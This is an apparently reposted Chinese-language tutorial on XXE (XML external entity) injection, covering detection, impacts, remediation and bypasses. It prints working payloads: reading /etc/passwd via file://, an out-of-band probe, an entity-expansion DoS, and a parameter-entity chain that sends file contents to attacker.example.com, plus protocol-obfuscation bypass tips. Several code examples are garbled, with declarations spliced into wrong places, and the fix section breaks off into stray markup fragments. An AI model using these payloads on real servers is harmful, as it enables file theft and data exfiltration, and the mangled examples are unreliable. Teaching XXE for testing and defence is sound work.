找回密码
 立即注册
首页 业界区 业界 漏洞详解--XXE 从入门到精通!

漏洞详解--XXE 从入门到精通!

孔季雅 3 天前
一、漏洞原理

1.1 核心

XXE(XML External Entity injection),名为XML外部实体注入。其核心在于XML解析器默认允许外部实体/DTD,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SSRF,有时甚至可以间接RCE(少见)。
1.2 原理详解

想彻底了解XXE,需要知道XML和DTD。
1.2.1 XML介绍

XML详细学习地址:https://www.runoob.com/xml/xml-tutorial.html
XML结构类似于HTML,都主要由元素(标签)和属性组成。XML推荐使用元素(标签)而非属性来传递信息。XML需要在开头有一个声明,然后有一个根元素涵盖其他元素。如下例
  1. <?xml version="1.0" encoding="UTF-8"?>            
  2. <note><!ENTITY entity-name "entity-value">         
  3. <!ENTITY entity-name SYSTEM "URI/URL">       <!ENTITY entity-name "entity-value">         
  4. <!ENTITY entity-name SYSTEM "URI/URL">                    
  5.   <to>Tove</to>
  6.   <from>Jani</from>
  7.   <heading>Reminder</heading>
  8.   <body>Don't forget me this weekend!</body>
  9. </note>
复制代码
上述第一句为声明,note为根元素,其他的to,from,heading,body为其他元素,可以用来传递信息。元素和元素中的内容可以类比于JSON中的键值对。
1.2.2 DTD介绍

DTD详细学习地址:https://www.runoob.com/dtd/dtd-tutorial.html
DTD是XXE漏洞不可或缺的部分。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。我们主要用到的DTD的实体。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体,分别类似于SSRF的本地/远程文件包含。一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号。通过引入外部实体,我们就可以达到读取敏感信息乃至RCE。
实体声明:
  1. <!ENTITY entity-name "entity-value">         
  2. <!ENTITY entity-name SYSTEM "URI/URL">      
复制代码
例子:
  1. <!ENTITY entity-name "entity-value">         
  2. <!ENTITY entity-name SYSTEM "URI/URL">              ]><!ENTITY entity-name "entity-value">         
  3. <!ENTITY entity-name SYSTEM "URI/URL">                   &writer;<?xml version="1.0"?>
  4. <!DOCTYPE r [ <!ENTITY  xxe SYSTEM "file:///etc/passwd"> ]>
  5. <r>&xxe;</r>         
复制代码
二、检测与危害

XXE通常发生在后端的XML解析而非浏览器XML解析,由于很多后端可以自动切换对XML和JSON的解析。因此,虽然目前多是以JSON格式作为数据传输的方式,将请求头中的Content-Type改为application/xml后,或者一些老旧的系统,也有一定可能触发XXE。
2.1 检测方法

总体思路:先定位能提交 XML 的输入点 → 验证服务器是否解析 XML → 逐步注入实体(内置/外部/参数化) → 观察回显/DNSlog记录
2.1.1 定位 XML 输入点

(1) 查找 Content-Type:在抓包/代理(Burp/Proxy)中观察请求头是否存在 Content-Type: application/xml、text/xml、或 application/soap+xml;
(2) 查找接口类型:SOAP 服务、SAML 参数(SAMLResponse)、文件导入(.xml)、RSS/Sitemap 导入、第三方集成、消息队列(XML 消息)等通常是高优先级;
(3) 前端检查:F12 → Network,查看请求体是否为 XML,或检查提交表单/上传是否接受 XML 文件。
2.1.2 有回显检测

(1) 基本步骤:在确认输入被解析后,先注入简单的内部实体做回显测试。观察HTTP 响应体是否包含 /etc/passwd 内容、异常堆栈或解析错误回显。
(2) 内部实体样例(读取本地文件):
  1. <?xml version="1.0"?>
  2. <!DOCTYPE r [ <!ENTITY  xxe SYSTEM "file:///etc/passwd"> ]>
  3. <r>&xxe;</r>
复制代码
2.1.3 无回显外部实体检测

(1) 思路:把外部实体指向你能控制/监听的域名(常常用DNSLog)。发送XML后查看自己的dnslog有没有记录就可以知道能不能引用外部实体了。
(2) 示例:
  1. <?xml version="1.0"?>
  2. <!DOCTYPE r [
  3.   <!ENTITY remote SYSTEM "http://your-collab-id.oast.site/">
  4. ]>
  5. <r>&remote;</r>
复制代码
2.1.4 DoS(一般测试时一定不要用!!)

(1) 示例:
  1. <?xml version="1.0"?>
  2. <!DOCTYPE lolz [
  3.   <!ENTITY a "aaaaaaaaaa">
  4.   <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  5.   <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  6.   <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
  7. ]>
  8. <lolz>&d;</lolz>
复制代码
2.1.5 协议/解析器差异测试

(1) 测试多种 scheme:file://、http://、https://、ftp://、ldap://、gopher://(部分解析器支持)。
(2) 不同解析器对 DTD/外部实体的默认策略不同(Java、.NET、libxml、lxml 等),需尝试多种 payload 形式与嵌套方式。
2.1.6 代码审计

(1) 查找 XML 解析相关 API:DocumentBuilderFactory、SAXParserFactory、xml.etree、lxml、libxml2、SimpleXML 等调用;
(2) 检查解析配置:是否启用 DTD/外部实体、是否有禁用 DOCTYPE、是否使用安全库(如 Python 的 defusedxml);
(3) 检查输入来源:是否直接解析用户上传/外部来源的 XML,或是否在未过滤的情况下处理 SAML/SOAP。
2.2 危害

XXE的危害与文件包含漏洞和SSRF相似,具有很多交叉和重叠的地方。具体如下所示。
2.2.1 本地文件读取


  • 说明:通过 file:// 实体读取服务器文件(如 /etc/passwd、私钥 /etc/ssl/*、配置文件、/proc/self/environ 等)。
  • 风险:凭证、配置、私钥泄露可能导致持久化入侵或 RCE(配合其它漏洞)。
2.2.2 实现SSRF


  • 说明:外部实体指向 http://internal:port/... 等,就类似于一个SSRF了,详见https://www.cnblogs.com/L-xy/p/19084683。
  • 风险:发现并利用内部管理接口、横向移动、获取临时凭证或敏感信息。
2.2.3 数据外发

用 HTTP GET 把数据放到 URL(query 或子域)
利用参数实体 / DTD 链把本地文件内容拼接进一个外部实体的 URL,然后解析器访问此 URL(通常是 GET)。攻击者的服务器在访问日志中看到请求并从 URL 或 Host 部分得到信息。下例用到了参数实体。
payload:
  1. <?xml version="1.0"?>
  2. <!DOCTYPE foo [
  3.   <!ENTITY % file SYSTEM "file:///etc/passwd">
  4.   <!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.example.com/?p=%file;'>">
  5.   %exfil;
  6. ]>
  7. <foo>&send;</foo>
复制代码
解释流程:
%file 被解析为 /etc/passwd 内容(参数实体值)。
%exfil 是一段字符串,定义了一个通用外部实体 send,其 SYSTEM URL 包含 %file 的值。
%exfil; 在 DTD 中展开,定义了 send。
正文 &send; 会触发解析器去请求 http://attacker.example.com/?p=。
这样就把文件内容通过 URL query 发给了你控制的域名。
2.2.4 DoS(实体膨胀 / 资源耗尽)


  • 说明:通过嵌套实体或大量实体导致解析器内存/CPU 消耗)。
  • 风险:服务不可用、资源耗尽,影响可用性。
2.2.5 间接 RCE(链式利用)


  • 说明:XXE 本身读取的是文本/资源,若读取的内容被后续当作代码/命令/模板处理(例如写入并 include、传给不安全的模板引擎或反序列化器),可导致远程代码执行。
  • 风险:高危,通常需要系统中存在其他弱点配合(文件写入、不安全的 eval/include 等)。
三、修复与绕过

3.1 禁用DTD--首选

做法(示例)

  • Java: 在 DocumentBuilderFactory / SAXParserFactory 上设置 disallow-doctype-decl=true,并关闭外部实体特性(见下)。
  • .NET: 用 XmlReaderSettings,DtdProcessing = DtdProcessing.Prohibit。
  • Python: 使用 defusedxml(如 defusedxml.ElementTree)来解析非受信任 XML。
  • PHP: 避免开启远程包含;用 XMLReader / DOMDocument 时传入 LIBXML_NONET 等选项以禁止网络访问;尽量避免 allow_url_include。
绕过手法

  • 攻击者用参数实体 + 远程 DTD(%remote;)链式注入,以在 DTD 中插入更多声明,尝试在某些解析器/配置下触发外联。
3.2 使用“安全XML库/API”而不是默认解析器

做法

  • Python 用 defusedxml,Java 显式设置安全特性或使用安全包装器,PHP 用 XMLReader/libxml 的安全选项。
3.3 限制scheme协议(file://, gopher://等)

做法

  • 在应用层过滤或白名单允许的 schemes(只允许 http/https 到特定域)。
绕过手法

  • 攻击者会尝试替代协议(gopher 用于构造任意 TCP payload 包括 POST;ldap、ftp、jar、zip、data、php:// 等 wrapper)或利用协议混淆(URL 编码、大小写变种、16进制,IPv6/decimal 表示法等)。
3.4 白名单/黑名单化

做法
<ul>对上传的 XML 文件做内容扫描,阻断包含 示例:</p>
  1. [/code]这里 %commonAttrs; 就定义了一组属性声明,可以在其他元素声明中复用。
  2. [list=1]
  3. [*]引用参数实体
  4. [/list]引用方式:
  5. [code]<!ENTITY % commonAttrs 'id ID #IMPLIED class CDATA #IMPLIED'>
复制代码
示例:
  1. [/code]等价于:
  2. [code]
复制代码

  • 外部参数实体
参数实体不仅能定义在 DTD 内部,还能引用外部文件,便于模块化。
  1. <!ELEMENT book (title, author, year)>
  2. <!ATTLIST book
  3.     id ID #IMPLIED
  4.     class CDATA #IMPLIED
  5. >
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册